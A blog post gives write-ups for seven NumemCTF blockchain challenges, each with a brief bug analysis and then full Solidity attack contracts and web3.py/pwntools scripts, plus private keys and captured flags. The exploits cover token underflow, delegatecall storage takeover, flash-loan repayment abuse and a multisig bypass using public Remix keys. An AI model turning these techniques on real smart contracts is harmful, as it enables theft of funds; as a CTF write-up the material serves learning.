<-->

I participated in NumemCTF alone and just solved 7 easy challs.

I learned that there are many ways to use assembly in Solidity!

 

I will add my solution of challenges unsolved.

 

 


SimpleCall

Analysis

This code is written in solidity 0.7.0 and does not use SafeMath so that it is vulnerable to integer overflow.

The function related to transference mostly uses require statements to check whether balance is insufficient.

 

  • require(A>B)
  • require(A-B>0)

First statement is safe from integer overflow but second is not.

 

	function transfer(address _to, uint _value) public returns (bool) {
	    require(balanceOf[msg.sender] - _value >= 0); // vulnerable
        //...
    }

 

Solve

attack.sol

contract Attack {
    ExistingStock victim;

	constructor(address _victim) {
        victim = ExistingStock(_victim);
    }

    function attack() public {
        victim.transfer(address(victim), 300000);
        victim.privilegedborrowing(0, address(0), address(victim), abi.encodeWithSignature("approve(address,uint256)", address(this), 300000));
        victim.setflag();
    }
}

 

attack.py

import json
from web3 import Web3
from solc import compile_source
w3 = Web3(Web3.HTTPProvider("http://8.218.239.44:8545"))

#Check Connection
t=w3.isConnected()
print(t)

# Get private key 
prikey = '0x503f38a9c967ed597e47fe25643985f032b072db8075426a92110f82df48dfcb'

# Create a signer wallet
PA=w3.eth.account.from_key(prikey)
Public_Address=PA.address

print(Public_Address) # 0x5471F1Cd844dC1cE3c89e1Ab4468536ee46A9695
input()
myAddr = Public_Address
cont = "0x1DA8b515684B65D23aEFF860F06f2957D37E6E4D" # deployed contract's address

def send_ether(_from, _to, _prikey, amount):
    signed_txn = w3.eth.account.signTransaction(dict(
        nonce=w3.eth.getTransactionCount(_from),
        gasPrice = w3.eth.gasPrice, 
        gas = 1000000,
        to=_to,
        value = amount,
        chainId = w3.eth.chain_id,
        ),
        _prikey
    )
    result = w3.eth.send_raw_transaction(signed_txn.rawTransaction)
    transaction_receipt = w3.eth.wait_for_transaction_receipt(result)
    print(transaction_receipt)

send_ether(myAddr, "0x6B18e0E7Aec85A4c7811eDb94615bd3f582873dA",prikey, 10**14)
input()

def attack(my_addr):
    f = open('att.abi', 'r')
    abi_txt = f.read()
    abi = json.loads(abi_txt)
    contract = w3.eth.contract(address=my_addr, abi=abi)
    func_call = contract.functions["attack"]().buildTransaction({
        "from": myAddr,
        "nonce": w3.eth.get_transaction_count(myAddr),
        "gasPrice": w3.eth.gas_price,
        "value": 0,
        "chainId": w3.eth.chain_id,
    })
    signed_tx = w3.eth.account.sign_transaction(func_call, prikey)
    result = w3.eth.send_raw_transaction(signed_tx.rawTransaction)
    transaction_receipt = w3.eth.wait_for_transaction_receipt(result)
    print(transaction_receipt)

def attack_deploy():
    f = open("att.abi", "r"); contract_abi= f.read(); f.close()
    f = open("att.bytecode", "r"); contract_bytecode= f.read(); f.close()

    contract = w3.eth.contract(abi=contract_abi, bytecode=contract_bytecode)
    transaction = contract.constructor(cont).buildTransaction(
        {
            "chainId": w3.eth.chain_id,
            "gasPrice": w3.eth.gas_price,
            "from": Public_Address,
            "nonce": w3.eth.get_transaction_count(Public_Address),
        }
    )
    sign_transaction = w3.eth.account.sign_transaction(transaction, private_key=prikey)
    print("Deploying Contract!")
    # Send the transaction
    transaction_hash = w3.eth.send_raw_transaction(sign_transaction.rawTransaction)
    # Wait for the transaction to be mined, and get the transaction receipt
    print("Waiting for transaction to finish...")
    transaction_receipt = w3.eth.wait_for_transaction_receipt(transaction_hash)
    print(transaction_receipt)
    print(f"Done! Contract deployed to {transaction_receipt.contractAddress}")
    return str(transaction_receipt.contractAddress)

attack(attack_deploy())

# flag{0xda0b5e252cfd5b31e5849642f549134fb5304d6c}

 


Counter

Analysis

The constructor of Deployer contract takes an argument of type 'bytes' and inserts bytecode by using inline assembly.

I am curious about how this works!

 

Have you heard honeypot? 

It is deployed by using this technique.

https://hackernoon.com/how-to-exploit-a-solidity-constructor

 

The challenge requires the length of code is less than 25.

require(code.length<=24);

 

However, it is known general contract code is greater than 24 because they have dispatch routine.

In order to reduce, we use inline assembly instead of solidity.

 

{           
    sstore(0x0, caller())
}
// solc --yul --yul-dialect evm want.yul | grep Binary -A1
// 33600055

 

In the code

    function A_delegateccall(bytes memory data) public{
        (bool success,bytes memory returnData)=target.delegatecall(data);
        require(owner==msg.sender);
        flag=true;
    }

It callls by delegatecall so that the storage in the context of target contract is owned by caller.

 

Solve

import json
from web3 import Web3
from solc import compile_source
w3 = Web3(Web3.HTTPProvider("http://8.218.239.44:8545"))

#Check Connection
t=w3.isConnected()
print(t)

# Get private key 
prikey = '0xa8e07048b0ffaa5daf9ae90e472112398697b1d872ccc4b53e4f8f8bd97d0534'

# Create a signer wallet
PA=w3.eth.account.from_key(prikey)
Public_Address=PA.address

print(Public_Address) # 0x5471F1Cd844dC1cE3c89e1Ab4468536ee46A9695

myAddr = Public_Address
cont = "0xB76E110cEb5e6F81Ed4b6437506609d11242cAE2" # deployed contract's address

def send_ether(_from, _to, _prikey, amount):
    signed_txn = w3.eth.account.signTransaction(dict(
        nonce=w3.eth.getTransactionCount(_from),
        gasPrice = w3.eth.gasPrice, 
        gas = 1000000,
        to=_to,
        value = amount,
        chainId = w3.eth.chain_id,
        ),
        _prikey
    )
    result = w3.eth.send_raw_transaction(signed_txn.rawTransaction)
    transaction_receipt = w3.eth.wait_for_transaction_receipt(result)
    print(transaction_receipt)

send_ether(myAddr, "0xBd3AAb59754ab0735c7F735e51Ebb338E0d2E20d",prikey, 10**15)

def create(code):
    f = open('cont.abi', 'r')
    abi_txt = f.read()
    abi = json.loads(abi_txt)
    contract = w3.eth.contract(address=cont, abi=abi)
    func_call = contract.functions["create"](code).buildTransaction({
        "from": myAddr,
        "nonce": w3.eth.get_transaction_count(myAddr),
        "gasPrice": w3.eth.gas_price,
        "value": 0,
        "chainId": w3.eth.chain_id,
    })
    signed_tx = w3.eth.account.sign_transaction(func_call, prikey)
    result = w3.eth.send_raw_transaction(signed_tx.rawTransaction)
    transaction_receipt = w3.eth.wait_for_transaction_receipt(result)
    print(transaction_receipt)

def A_delegateccall(data):
    f = open('cont.abi', 'r')
    abi_txt = f.read()
    abi = json.loads(abi_txt)
    contract = w3.eth.contract(address=cont, abi=abi)
    func_call = contract.functions["A_delegateccall"](data).buildTransaction({
        "from": myAddr,
        "nonce": w3.eth.get_transaction_count(myAddr),
        "gasPrice": w3.eth.gas_price,
        "value": 0,
        "chainId": w3.eth.chain_id,
    })
    signed_tx = w3.eth.account.sign_transaction(func_call, prikey)
    result = w3.eth.send_raw_transaction(signed_tx.rawTransaction)
    transaction_receipt = w3.eth.wait_for_transaction_receipt(result)
    print(transaction_receipt)


def attack_deploy():
    f = open("att.abi", "r"); contract_abi= f.read(); f.close()
    f = open("att.bytecode", "r"); contract_bytecode= f.read(); f.close()

    contract = w3.eth.contract(abi=contract_abi, bytecode=contract_bytecode)
    transaction = contract.constructor(cont).buildTransaction(
        {
            "chainId": w3.eth.chain_id,
            "gasPrice": w3.eth.gas_price,
            "from": Public_Address,
            "nonce": w3.eth.get_transaction_count(Public_Address),
        }
    )
    sign_transaction = w3.eth.account.sign_transaction(transaction, private_key=prikey)
    print("Deploying Contract!")
    # Send the transaction
    transaction_hash = w3.eth.send_raw_transaction(sign_transaction.rawTransaction)
    # Wait for the transaction to be mined, and get the transaction receipt
    print("Waiting for transaction to finish...")
    transaction_receipt = w3.eth.wait_for_transaction_receipt(transaction_hash)
    print(transaction_receipt)
    print(f"Done! Contract deployed to {transaction_receipt.contractAddress}")
    return str(transaction_receipt.contractAddress)

create(b"\x33\x60\x00\x55")
A_delegateccall(b'\x00')

# flag{0x6625dba6b9f07bfde3ca3423cd4c66bcf68d41e4}

 


Exist

Analysis

The goal is to call share_my_vault(). 

It verifies that whether caller is EOA and caller's address should pass is_my_family().

 

We can easily bypass the logci of is_my_family() by bruteforcing. (requirng 1 second)

 

 

Solve

find.py

import json
from web3 import Web3
from solc import compile_source
from Crypto.Util.number import *
from pwn import *
w3 = Web3(Web3.HTTPProvider("http://34.141.16.87:30201/6641d991-702c-43ad-9d84-c3b4f58ad327"))

def check(addr):
    addr = int(addr, 16)
    # addr = long_to_bytes(addr)

    code = 0xffff
    feature = bytes_to_long(b"ZT")

    for i in range(34):
        if addr & code == feature :
            return True
        
        code <<= 4
        feature <<= 4
    
    return False


for i in range(0xffff):
    pk = hex(i).ljust(66, "0")
    addr=w3.eth.account.from_key(pk).address
    if check(addr):
        print(i)

 

solve.py

import json
from web3 import Web3
from solc import compile_source
w3 = Web3(Web3.HTTPProvider("http://8.218.239.44:8545"))

#Check Connection
t=w3.isConnected()
print(t)

# Get private key 
prikey = hex(289).ljust(66, "0")


# Create a signer wallet
PA=w3.eth.account.from_key(prikey)
Public_Address=PA.address

print(Public_Address) # 0x5471F1Cd844dC1cE3c89e1Ab4468536ee46A9695

myAddr = Public_Address
cont = "0x1c7A93d106b832F34BFC734286F1d70381c15479" # deployed contract's address

def send_ether(_from, _to, _prikey, amount):
    signed_txn = w3.eth.account.signTransaction(dict(
        nonce=w3.eth.getTransactionCount(_from),
        gasPrice = w3.eth.gasPrice, 
        gas = 1000000,
        to=_to,
        value = amount,
        chainId = w3.eth.chain_id,
        ),
        _prikey
    )
    result = w3.eth.send_raw_transaction(signed_txn.rawTransaction)
    transaction_receipt = w3.eth.wait_for_transaction_receipt(result)
    print(transaction_receipt)

# send_ether(myAddr, "0x3dC10F8Ec58aE18077DF7dfe6Be95e22B4Aefc9b",prikey, 10**15)
# input()

def share_my_vault():
    f = open('cont.abi', 'r')
    abi_txt = f.read()
    abi = json.loads(abi_txt)
    contract = w3.eth.contract(address=cont, abi=abi)
    func_call = contract.functions["share_my_vault"]().buildTransaction({
        "from": myAddr,
        "nonce": w3.eth.get_transaction_count(myAddr),
        "gasPrice": w3.eth.gas_price,
        "value": 0,
        "chainId": w3.eth.chain_id,
    })
    signed_tx = w3.eth.account.sign_transaction(func_call, prikey)
    result = w3.eth.send_raw_transaction(signed_tx.rawTransaction)
    transaction_receipt = w3.eth.wait_for_transaction_receipt(result)
    print(transaction_receipt)

def setflag():
    f = open('cont.abi', 'r')
    abi_txt = f.read()
    abi = json.loads(abi_txt)
    contract = w3.eth.contract(address=cont, abi=abi)
    func_call = contract.functions["setflag"]().buildTransaction({
        "from": myAddr,
        "nonce": w3.eth.get_transaction_count(myAddr),
        "gasPrice": w3.eth.gas_price,
        "value": 0,
        "chainId": w3.eth.chain_id,
    })
    signed_tx = w3.eth.account.sign_transaction(func_call, prikey)
    result = w3.eth.send_raw_transaction(signed_tx.rawTransaction)
    transaction_receipt = w3.eth.wait_for_transaction_receipt(result)
    print(transaction_receipt)

def attack_deploy():
    f = open("att.abi", "r"); contract_abi= f.read(); f.close()
    f = open("att.bytecode", "r"); contract_bytecode= f.read(); f.close()

    contract = w3.eth.contract(abi=contract_abi, bytecode=contract_bytecode)
    transaction = contract.constructor(cont).buildTransaction(
        {
            "chainId": w3.eth.chain_id,
            "gasPrice": w3.eth.gas_price,
            "from": Public_Address,
            "nonce": w3.eth.get_transaction_count(Public_Address),
        }
    )
    sign_transaction = w3.eth.account.sign_transaction(transaction, private_key=prikey)
    print("Deploying Contract!")
    # Send the transaction
    transaction_hash = w3.eth.send_raw_transaction(sign_transaction.rawTransaction)
    # Wait for the transaction to be mined, and get the transaction receipt
    print("Waiting for transaction to finish...")
    transaction_receipt = w3.eth.wait_for_transaction_receipt(transaction_hash)
    print(transaction_receipt)
    print(f"Done! Contract deployed to {transaction_receipt.contractAddress}")
    return str(transaction_receipt.contractAddress)

share_my_vault()
setflag()

# flag{0x58c71576485889cc367b4cb238ab719c3c2f7f70}

 


Hexp

Analysis

3d602d80600a3d3981f362ffffff80600a43034016903a1681146016576033fe5b5060006000f3
abel_0000:
	// Inputs[3]
	// {
	//     @0000  returndata.length
	//     @0006  returndata.length
	//     @0009  memory[returndata.length:returndata.length + 0x2d]
	// }
	0000    3D  RETURNDATASIZE
	0001    60  PUSH1 0x2d
	0003    80  DUP1
	0004    60  PUSH1 0x0a
	0006    3D  RETURNDATASIZE
	0007    39  CODECOPY
	0008    81  DUP2
	0009    F3  *RETURN
	// Stack delta = +1
	// Outputs[3]
	// {
	//     @0000  stack[0] = returndata.length
	//     @0007  memory[returndata.length:returndata.length + 0x2d] = code[0x0a:0x37]
	//     @0009  return memory[returndata.length:returndata.length + 0x2d];
	// }
	// Block terminates

	000A    62    PUSH3 0xffffff
	000E    80    DUP1
	000F    60    PUSH1 0x0a
	0011    43    NUMBER
	0012    03    SUB
	0013    40    BLOCKHASH
	0014    16    AND
	0015    90    SWAP1
	0016    3A    GASPRICE
	0017    16    AND
	0018    81    DUP2
	0019    14    EQ
	001A    60    PUSH1 0x16
	001C    57    *JUMPI
	001D    60    PUSH1 0x33
	001F    FE    *ASSERT
	0020    5B    JUMPDEST
	0021    50    POP
	0022    60    PUSH1 0x00
	0024    60    PUSH1 0x00
	0026    F3    *RETURN

 

Let's interpret runtime bytecode 

assert (blockhash(block.number - 0xa) & 0xffffff == gasprice())

 

Solve

solve.py

import json
from web3 import Web3
from solc import compile_source
w3 = Web3(Web3.HTTPProvider("http://8.218.239.44:8545"))

#Check Connection
t=w3.isConnected()
print(t)

# Get private key 
prikey = '0xa8e07048b0ffaa5daf9ae90e472112398697b1d872ccc4b53e4f8f8bd97d0534'

# Create a signer wallet
PA=w3.eth.account.from_key(prikey)
Public_Address=PA.address

print(Public_Address) # 0x5471F1Cd844dC1cE3c89e1Ab4468536ee46A9695

myAddr = Public_Address
cont = "0xB76E110cEb5e6F81Ed4b6437506609d11242cAE2" # deployed contract's address

def send_ether(_from, _to, _prikey, amount):
    signed_txn = w3.eth.account.signTransaction(dict(
        nonce=w3.eth.getTransactionCount(_from),
        gasPrice = w3.eth.gasPrice, 
        gas = 1000000,
        to=_to,
        value = amount,
        chainId = w3.eth.chain_id,
        ),
        _prikey
    )
    result = w3.eth.send_raw_transaction(signed_txn.rawTransaction)
    transaction_receipt = w3.eth.wait_for_transaction_receipt(result)
    print(transaction_receipt)
    print(transaction_receipt['blockHash'])
    return transaction_receipt['blockHash']


from pwn import *


r = remote("8.218.239.44", 24000) # nc 8.218.239.44 24000
r.sendlineafter("t your choice: ", str(1))
r.recvuntil("deployer account: ")
needed_addr = r.recvuntil('\n')[:-1].decode()
r.recvuntil("token: ")
token = r.recvuntil("\n")[:-1].decode()
r.close()
block_num = send_ether(myAddr, needed_addr,prikey, 10**15)

print(needed_addr)
print(token)


r = remote("8.218.239.44", 24000) # nc 8.218.239.44 24000
r.sendlineafter("t your choice: ", str(2))
r.sendlineafter("input your token: ", token)
# get
r.recvuntil("contract address: ")
cont = r.recvuntil("\n")[:-1].decode()
print(cont)
r.close()

from Crypto.Util.number import *
# 현재 블록해시 읽어오기



def create(target):
    f = open('cont.abi', 'r')
    abi_txt = f.read()
    abi = json.loads(abi_txt)
    contract = w3.eth.contract(address=cont, abi=abi)
    func_call = contract.functions["f00000000_bvvvdlt"]().buildTransaction({
        "from": myAddr,
        "nonce": w3.eth.get_transaction_count(myAddr),
        "gasPrice": target,
        "gas": target,
        "value": 0,
        "chainId": w3.eth.chain_id,
    })
    signed_tx = w3.eth.account.sign_transaction(func_call, prikey)
    result = w3.eth.send_raw_transaction(signed_tx.rawTransaction)
    transaction_receipt = w3.eth.wait_for_transaction_receipt(result)
    print(transaction_receipt)
from web3.middleware import geth_poa_middleware

w3.middleware_onion.inject(geth_poa_middleware, layer=0)
cur = w3.eth.get_block('latest')['hash']
print(cur)
target = (bytes_to_long(cur)) & 0xffffff

i = 0
while i < 10:
    try:
        create(target)
    except Exception as e:
        print(e)
        continue
    print("success")
    i += 1

print(token)

# flag{0xdd4672257e7adf56f0896c33747caf793fcd1e53}

 


LenderPool

Analysis

Its goal is to steal the pool's balance and it provides flashloan of token0.

 

We can repay by swap() that we can get token1 instead of transfer() that we can not get anything.

 

Solve

solve.sol

pragma solidity 0.8.16;

contract Attack {
    IERC20 public immutable token0;
    IERC20 public immutable token1;
    LenderPool public immutable lender;
    constructor(address _token0, address _token1, address _lender) {
        token0 = ERC20(_token0);
        token1 = ERC20(_token1);
        lender = LenderPool(_lender);
    }

    function receiveEther(uint256 amount) public {
        lender.swap(address(token1), 100 * 10**18);
    }

    function attack() public {
        token0.approve(address(lender), 100 * 10**18);
        token1.approve(address(lender), 100 * 10**18);
        lender.flashLoan(100 * 10**18, address(this));
        lender.swap(address(token0), 100 * 10**18);
    }
}

 

solve.py

import json
from web3 import Web3
from solc import compile_source
w3 = Web3(Web3.HTTPProvider("http://8.218.239.44:8545"))

#Check Connection
t=w3.isConnected()
print(t)

# Get private key 
prikey = '0xa8e07048b0ffaa5daf9ae90e472112398697b1d872ccc4b53e4f8f8bd97d0534'

# Create a signer wallet
PA=w3.eth.account.from_key(prikey)
Public_Address=PA.address

print(Public_Address) # 0x5471F1Cd844dC1cE3c89e1Ab4468536ee46A9695

myAddr = Public_Address
cont = "0xB76E110cEb5e6F81Ed4b6437506609d11242cAE2" # deployed contract's address

def send_ether(_from, _to, _prikey, amount):
    signed_txn = w3.eth.account.signTransaction(dict(
        nonce=w3.eth.getTransactionCount(_from),
        gasPrice = w3.eth.gasPrice, 
        gas = 1000000,
        to=_to,
        value = amount,
        chainId = w3.eth.chain_id,
        ),
        _prikey
    )
    result = w3.eth.send_raw_transaction(signed_txn.rawTransaction)
    transaction_receipt = w3.eth.wait_for_transaction_receipt(result)
    print(transaction_receipt)
    print(transaction_receipt['blockHash'])
    return transaction_receipt['blockHash']


from pwn import *


# r = remote("8.218.239.44", 30000) # nc 8.218.239.44 30000
# r.sendlineafter("t your choice: ", str(1))
# r.recvuntil("deployer account: ")
# needed_addr = r.recvuntil('\n')[:-1].decode()
# r.recvuntil("token: ")
# token = r.recvuntil("\n")[:-1].decode()
# r.close()
# block_num = send_ether(myAddr, needed_addr,prikey, 10**15)

# print(needed_addr)
# print(token)

# sleep(2)

# r = remote("8.218.239.44", 24000) # nc 8.218.239.44 24000
# r.sendlineafter("t your choice: ", str(2))
# r.sendlineafter("input your token: ", token)
# # get
# r.recvuntil("contract address: ")
# cont = r.recvuntil("\n")[:-1].decode()
# print(cont)
# r.close()

from Crypto.Util.number import *
# 현재 블록해시 읽어오기

cont = ""

def attack_deploy():
    f = open("att.abi", "r"); contract_abi= f.read(); f.close()
    f = open("att.bytecode", "r"); contract_bytecode= f.read(); f.close()

    contract = w3.eth.contract(abi=contract_abi, bytecode=contract_bytecode)
    transaction = contract.constructor("0x9510BADedc6B17e570d03BF61889072a5c53B512", "0xCF3E2e53eD9EF06DA74AaAE9d688bba957748209","0x3363E49A69a80d42859f1eb1441953a4b13cF9ad").buildTransaction(
        {
            "chainId": w3.eth.chain_id,
            "gasPrice": w3.eth.gas_price,
            "from": Public_Address,
            "nonce": w3.eth.get_transaction_count(Public_Address),
        }
    )
    sign_transaction = w3.eth.account.sign_transaction(transaction, private_key=prikey)
    print("Deploying Contract!")
    # Send the transaction
    transaction_hash = w3.eth.send_raw_transaction(sign_transaction.rawTransaction)
    # Wait for the transaction to be mined, and get the transaction receipt
    print("Waiting for transaction to finish...")
    transaction_receipt = w3.eth.wait_for_transaction_receipt(transaction_hash)
    print(transaction_receipt)
    print(f"Done! Contract deployed to {transaction_receipt.contractAddress}")
    return str(transaction_receipt.contractAddress)

def attack(my_attack):
    f = open('att.abi', 'r')
    abi_txt = f.read()
    abi = json.loads(abi_txt)
    contract = w3.eth.contract(address=my_attack, abi=abi)
    func_call = contract.functions["attack"]().buildTransaction({
        "from": myAddr,
        "nonce": w3.eth.get_transaction_count(myAddr),
        "gasPrice": w3.eth.gas_price,
        "value": 0,
        "chainId": w3.eth.chain_id,
    })
    signed_tx = w3.eth.account.sign_transaction(func_call, prikey)
    result = w3.eth.send_raw_transaction(signed_tx.rawTransaction)
    transaction_receipt = w3.eth.wait_for_transaction_receipt(result)
    print(transaction_receipt)

attack(attack_deploy())

# print(token) flag{0xf4ea28f40bd256f743544e2c55e00f14701ee20e}

 


Wallet

Analysis

When the asset owned by this contract is transferred, it requires the confirmation of multi-sig.

        owners.push(address(0x5B38Da6a701c568545dCfcB03FcB875f56beddC4));
        owners.push(address(0xAb8483F64d9C6d1EcF9b849Ae677dD3315835cb2));
        owners.push(address(0x4B20993Bc481177ec7E8f571ceCaE8A9e22C02db));
        owners.push(address(0x78731D3Ca6b7E34aC0F824c42a7cC18A495cabaB)); 
        owners.push(address(0x617F2E2fD72FD9D5503197092aC168c91465E7f2));

 

These addresses are used in Remix so that private key is known to the pulbic.

https://github.com/ethereum/remix-project/blob/d13fea7e8429436de6622d855bf75688c664a956/libs/remix-simulator/src/methods/accounts.ts

 

Solve

solve.sol

contract Attack {
    Wallet public victim;
    constructor(address _victim) {
        victim = Wallet(_victim);
    }

    function attack() public {
        bytes memory reason = new bytes(1);
        bytes32[2] memory rs;
        bytes32 tmp;
        assembly { 
            mstore(add(tmp, 32), 0x2c890c0d647e541dfb6701d777e40612030681c9f87777cc2866443d87994c9d) 
        }
        rs[0] = tmp;
        assembly { 
            mstore(add(tmp, 32), 0xf2149f718256ba41c5be7e037786ae06d371064fdf80cb333ff46bcef1ea0e3c) 
        } 
        rs[1] = tmp;
        reason[0] = 0;
        SignedByowner[] memory ss = new SignedByowner[](3);
        ss[0] = SignedByowner(Holder(address(0x5B38Da6a701c568545dCfcB03FcB875f56beddC4), "1", true, reason), Signature(28, rs));
        ss[1] = SignedByowner(Holder(address(0x5B38Da6a701c568545dCfcB03FcB875f56beddC4), "1", true, reason), Signature(28, rs));
        ss[2] = SignedByowner(Holder(address(0x5B38Da6a701c568545dCfcB03FcB875f56beddC4), "1", true, reason), Signature(28, rs));

        victim.transferWithSign(address(0x7Eeca3D06bfc20A1d0CbA259918BF6031DD5778B), 100 * 10 ** 18, ss);
    }
}

 

solve.py

import json
from web3 import Web3
from solc import compile_source
w3 = Web3(Web3.HTTPProvider("http://8.218.239.44:8545"))

#Check Connection
t=w3.isConnected()
print(t)

# Get private key 
prikey = '0xa8e07048b0ffaa5daf9ae90e472112398697b1d872ccc4b53e4f8f8bd97d0534'

# Create a signer wallet
PA=w3.eth.account.from_key(prikey)
Public_Address=PA.address

print(Public_Address) # 0x5471F1Cd844dC1cE3c89e1Ab4468536ee46A9695

myAddr = Public_Address
cont = "0x1fa9554d439ed54BDfC50b227B62c60E864CE0B0" # deployed contract's address

def send_ether(_from, _to, _prikey, amount):
    signed_txn = w3.eth.account.signTransaction(dict(
        nonce=w3.eth.getTransactionCount(_from),
        gasPrice = w3.eth.gasPrice, 
        gas = 1000000,
        to=_to,
        value = amount,
        chainId = w3.eth.chain_id,
        ),
        _prikey
    )
    result = w3.eth.send_raw_transaction(signed_txn.rawTransaction)
    transaction_receipt = w3.eth.wait_for_transaction_receipt(result)
    print(transaction_receipt)

# send_ether(myAddr, "0xBd3AAb59754ab0735c7F735e51Ebb338E0d2E20d",prikey, 10**15)

def attack(addr):
    f = open('att.abi', 'r')
    abi_txt = f.read()
    abi = json.loads(abi_txt)
    contract = w3.eth.contract(address=addr, abi=abi)
    func_call = contract.functions["attack"]().buildTransaction({
        "from": myAddr,
        "nonce": w3.eth.get_transaction_count(myAddr),
        "gasPrice": w3.eth.gas_price,
        "value": 0,
        "chainId": w3.eth.chain_id,
    })
    signed_tx = w3.eth.account.sign_transaction(func_call, prikey)
    result = w3.eth.send_raw_transaction(signed_tx.rawTransaction)
    transaction_receipt = w3.eth.wait_for_transaction_receipt(result)
    print(transaction_receipt)



def attack_deploy():
    f = open("att.abi", "r"); contract_abi= f.read(); f.close()
    f = open("att.bytecode", "r"); contract_bytecode= f.read(); f.close()

    contract = w3.eth.contract(abi=contract_abi, bytecode=contract_bytecode)
    transaction = contract.constructor(cont).buildTransaction(
        {
            "chainId": w3.eth.chain_id,
            "gasPrice": w3.eth.gas_price,
            "from": Public_Address,
            "nonce": w3.eth.get_transaction_count(Public_Address),
        }
    )
    sign_transaction = w3.eth.account.sign_transaction(transaction, private_key=prikey)
    print("Deploying Contract!")
    # Send the transaction
    transaction_hash = w3.eth.send_raw_transaction(sign_transaction.rawTransaction)
    # Wait for the transaction to be mined, and get the transaction receipt
    print("Waiting for transaction to finish...")
    transaction_receipt = w3.eth.wait_for_transaction_receipt(transaction_hash)
    print(transaction_receipt)
    print(f"Done! Contract deployed to {transaction_receipt.contractAddress}")
    return str(transaction_receipt.contractAddress)

attack(attack_deploy())

# flag{0x4c7d8e17af758ca5204f61c16ea4353387352aeb}

 


Move to Checkin

Analysis

We should just call function HelloHackers() in module checkin.

 

Solve

# to copy my address for faucet
sui client active-address

# connect RPC
sui client new-env --alias ctf --rpc http://159.138.63.196:9000

# switch network
sui client switch --env ctf

# list sui received by faucet
sui client object 

# transfer sui to deployer
sui client transfer-sui --to 0xa70e7a452178b6c32797728d3a97f9a87a0aac6c --sui-coin-object-id 0x66a9fdf22caae3d28352b9d91e896d7f24c36392 --gas-budget 10000

# call entry function 
sui client call --function HelloHackers --module checkin --package 0xbc6777abb944886981241a70fdc46425e428c9cc --args "hello" --gas-budget 100000

'writeups' 카테고리의 다른 글

corCTF 2023 - blockchain(tribunal, baby-wallet)  (0) 2023.07.31
angstromctf 2023 - pwn(Sailor's Revenge)  (0) 2023.04.27
DaVinciCTF 2023 - blockchain  (0) 2023.03.13
SUITF  (0) 2023.03.03
PBCTF 2023 - rev(move VM)  (0) 2023.02.20

+ Recent posts